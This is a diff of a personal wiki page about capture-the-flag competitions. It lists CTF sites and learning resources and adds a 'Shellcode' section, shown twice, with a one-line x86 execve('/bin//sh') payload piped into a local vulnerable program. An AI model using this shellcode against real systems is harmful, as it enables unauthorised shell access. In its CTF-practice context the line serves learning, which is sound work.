Differences between revisions 18 and 19
Revision 18 as of 2020-06-06 14:01:00
Size: 1620
Editor: Sciuro
Comment:
Revision 19 as of 2020-06-06 14:37:04
Size: 1806
Editor: Sciuro
Comment:
Deletions are marked like this. Additions are marked like this.
Line 28: Line 28:

= Shellcode =
Spawn a shell:
{{{
(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./prog
}}}

Public CTFs

CTF's are fun to do. I like to do some CTF's once in a while and I started to write an guide for the more special CTF's I did. Current CTF's can be found on CTFtime.org.

Name

Level

Description

Over the wire

Beginner to expert

Starting from learning SSH to reverse engineering.

Pico CTF

Beginner to expert

A good CTF to learn working on *nix systems and way beyond.

Certified Secure

Beginner to expert

A dutch site about learning the basics.

More lists of CTF's can be found on the site of Awesome CTF, CSO and Fareed Fauzi. Feel free to send me other CTF's. <ctf AT sciuro DOT org>

Helpfull rescources

Handouts

These are handouts about CTF's I did in the past. It's your call if you want to see answers.

Lectures

Not a CTF, but well worth for learning.

Name

Level

Description

UC Malware Analysis

??

Introduction to Malware Analysis and Reverse Engineering

Shellcode

Spawn a shell:

(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./prog

CTF (last edited 2020-06-06 15:19:40 by Sciuro)